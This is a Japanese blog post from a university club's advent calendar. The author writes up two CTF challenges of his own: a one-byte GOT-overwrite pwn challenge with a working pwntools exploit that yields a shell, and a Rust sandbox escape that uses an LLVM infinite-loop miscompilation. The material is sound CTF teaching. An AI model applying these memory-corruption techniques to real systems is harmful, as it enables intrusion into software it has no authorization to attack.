この記事はTSG Advent Calendar 2020 の2日目の記事として書かれました。昨日は博多市さんのTSG CTF 2020 開催記でした。
TSG LIVEは、大学の文化祭の催し物として企画されているもので、TSG LIVE CTFはその企画の一つで、TSGの数人が問題を用意し、別の数人が2チームに分かれてその問題を解いて競う様子を、実況を交えてライブ配信します。
アーカイブはYouTubeに上っているので興味があればどうぞ。
なお、ライブ配信されているわけではありますが、TSG外の人々にもスコアサーバー及び問題サーバーを解放していて同時に解くことができるようにしていました。実際、外部から参戦したyoshikingdomさんは強かったですね。ほぼ全完です。各位ご参加ありがとうございました。以下がその結果を報告するツイートです。
TSG Live CTF、1位 yoshikingdom、2位 AY、3位にTSGライブプレイヤーのteamAでした! みなさまご参加・ご視聴ありがとうございました!
— 東大コンピュータサークルTSG (@tsg_ut) September 21, 2020
この後もライブは続くのでぜひよろしくお願いしますhttps://t.co/nIeJOtvQbY#tsg_live pic.twitter.com/9Je70SgxDs
また問題も以下のリポジトリから公開していて、これらのうち僕が作問した問題について、writeupを書いたのがこの記事の内容になります。
writeup書いてて思ったんですが、LIVE CTFで消費するのもったいなかったような。まあ二問とも非想定解で時間内に解かれましたが.... (いつも非想定解で解かれてないか)
writeup: one-byte-man
ネタは、
です。one byte manという名前の通り、任意アドレスの1バイト書き換えができる状態になっているので、まずGOTのエントリを1ビット書き換えて、mainループが起こるようにした後にROPを構築する、というのが想定解となっています。なお、割とこの想定解法自体はボス問枠で、ここから条件を落とした問題を2問用意しました。このうち一番簡単な問題は特に言及の余地がないですが、2番目の難易度の問題はちょうど良くライブ向けにできて、結構気に入っているので紹介します。
問題設定は次のようなプログラムです。アドレスを受け取って、そのアドレスについて、1バイト書き換えた後、exit(0)をします。
int main(void) { unsigned long long addr; char buf[0x20]; setup(); write(1, "address: ", 9); readn(buf, 0x1f); addr = strtoull(buf, NULL, 10); write(1, (char*)addr, 8); write(1, "data: ", 6); readn((char *)addr, 1); exit(0); } void friend() { execl("/bin/sh", "sh", NULL); }
ただし、checksecは
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73) Symbols No 0 1 one-byte-man
のようになっていて、GOTのエントリを書き換えられることが分かります。なおバイナリが上手に配置されているので、exitのPLTのアドレスを1バイト書き換えるとちょうどmainに位置させることができるようになっています。
次に、バイナリに目を向けてみると、
00000000004007d8 <readn>: 4007d8: 55 push %rbp ... 400864: c9 leaveq 400865: c3 retq 0000000000400866 <main>: 400866: 55 push %rbp 400867: 48 89 e5 mov %rsp,%rbp ... 400905: bf 00 00 00 00 mov $0x0,%edi 40090a: e8 51 fd ff ff callq 400660 <exit@plt> 000000000040090f <friend>: 40090f: 55 push %rbp 400910: 48 89 e5 mov %rsp,%rbp 400913: ba 00 00 00 00 mov $0x0,%edx 400918: 48 8d 35 ec 00 00 00 lea 0xec(%rip),%rsi # 400a0b <_IO_stdin_used+0x4b> 40091f: 48 8d 3d e8 00 00 00 lea 0xe8(%rip),%rdi # 400a0e <_IO_stdin_used+0x4e> 400926: b8 00 00 00 00 mov $0x0,%eax 40092b: e8 40 fd ff ff callq 400670 <execl@plt> 400930: 90 nop 400931: 5d pop %rbp 400932: c3 retq
上のようにexitのcallの後はすぐにfriendのコードが始まっていることが分かります。以上から、上であげたようなネタで解けることが分かります。
実際に考えてみると、これは非常に短いコードで達成できます。exit = mainにしたあとに、mainの先頭から1バイト下げて、exit: retにするのがミソですね。2工程です。
from pwn import * main_addr = 0x400866 exit_got = 0x601048 r = remote("localhost", 3001) # exit_got to main r.recvuntil(': ') r.sendline(str(exit_got+1)) r.recvuntil(': ') r.send(chr((main_addr >> 8) % 256)) # exit_got to main - 1 (ret of readn) r.recvuntil(': ') r.sendline(str(exit_got)) r.recvuntil(': ') r.send(chr((main_addr - 1) % 256)) # shell! r.interactive()
ライブCTFの理想問は、「一発ネタ + 実装最小限」で解ける問題だと思っているので、これはかなりよくできたライブ向け問だと自負しています。ちなみにこういうタイプの問題で、TSG CTFのBeginner's Pwnとかも出せたら良かったんですが、当時アイデアが無かったので残念。
writeup: getting over it
Rustのバグをネタにして問題にしました。ネタ元はissue28728で、uenokuさんなどによってよく解説されています。まあ有名なバグですね。
簡単に掻い摘んで解説すると、「副作用のない無限ループを書くと(Rustの言語仕様としてはundefinedになるわけではないが、LLVMの仕様のせいで)、想定しない挙動になる」というものです。信じられないと思う貴方は次のプログラムをrustcで(-O
つきで)コンパイルして実行してみてください
fn main() { (||loop{})() }
$ rustc -O broken.rs $ ./broken zsh: illegal hardware instruction ./broken
びっくりですね。基本的には、LLVMがこういう挙動をするのはC++の仕様のせいなのですが、詳しくはここでは省略します。
問題の概要について説明すると、
fn sandbox(x: &mut u64) { /* code */ *x += 1; sandbox(x); } fn main() { let mut cnt = 0; sandbox(&mut cnt); println!("{} loops. Good job!", cnt); println!("Flag is TSGLIVE{{/* redacted */}}"); }
上のようなプログラムが与えられているので/* code */
のところに好きなコードを入れて、sandboxの無限の再帰呼び出しを突破しよう!という問題です。なお、NGワードは、'!', 'std', "#", "return", "unsafe", "sandbox", '}'です。すなわちこれらの単語を含まないプログラムを与える必要があります。
上でネタバレしたように、Rustでは副作用のない無限ループを書くと"よくないこと"が起こるようです。試しにやってみましょう。
/* code */
に何も書かなければ、このプログラムは、引数の参照を通して値の読み書きをします。これをなんとか消せないでしょうか?
消せますね。単にシャドーイングをすればよいです。
fn sandbox(x: &mut u64) { let x = &mut 0; *x += 1; sandbox(x); } fn main() { let mut cnt = 0; sandbox(&mut cnt); println!("{} loops. Good job!", cnt); println!("Flag is TSGLIVE{{flag}}"); }
$ rustc -O prog.rs $ ./prog 0 loops. Good job! Flag is TSGLIVE{flag}
Rustのunsound hole問はここ数年で多数出題されていますが、この問題もその1つに分類することができると思います。多数出題されていることからも分かる通り、rustのコンパイラ(や型システム)にはまだまだバグがあるということです。。
実際、Rustの型システムやRustのライブラリの安全性を形式的に検証する試み(RustBeltなど)は近年盛んに研究されていますし、まだまだ面白い話が続きそうな気もします。
LIVE CTFについて
最近はCTFのYouTube進出が激しいです。日本人CTF系YouTuberとしては、kurenaifさんが有名ですし、海外に目を向けてみれば、ALLES!のLiveOverflowをはじめとして多数のチャンネルが開設されています。 また、今年のGoogle CTFのFinalsの様子は、参加者のスクリーンを録画して実況をつけた動画としてアップロードされるそうです。
人がCTFしている様子を見るのは割と勉強になるので結構暇な時に見てしまいます。こういったチャンネルが今後とも増えていくことを願っていますし、TSG Live自体ももう少し世の中の人間にリーチしないかなあと思ったりしなくもないですね。
個人的には、LIVE CTFで各位が問題解いている様子が見たいので、ぜひお願いします。いっそ次回のLIVE CTFはゲストチームをinviteしたりするのもありなのかな。
最後に
いかがでしたでしょうか?
明日は、smallkirbyさんの「乾パンの美味しい食べ方」です。楽しみですね。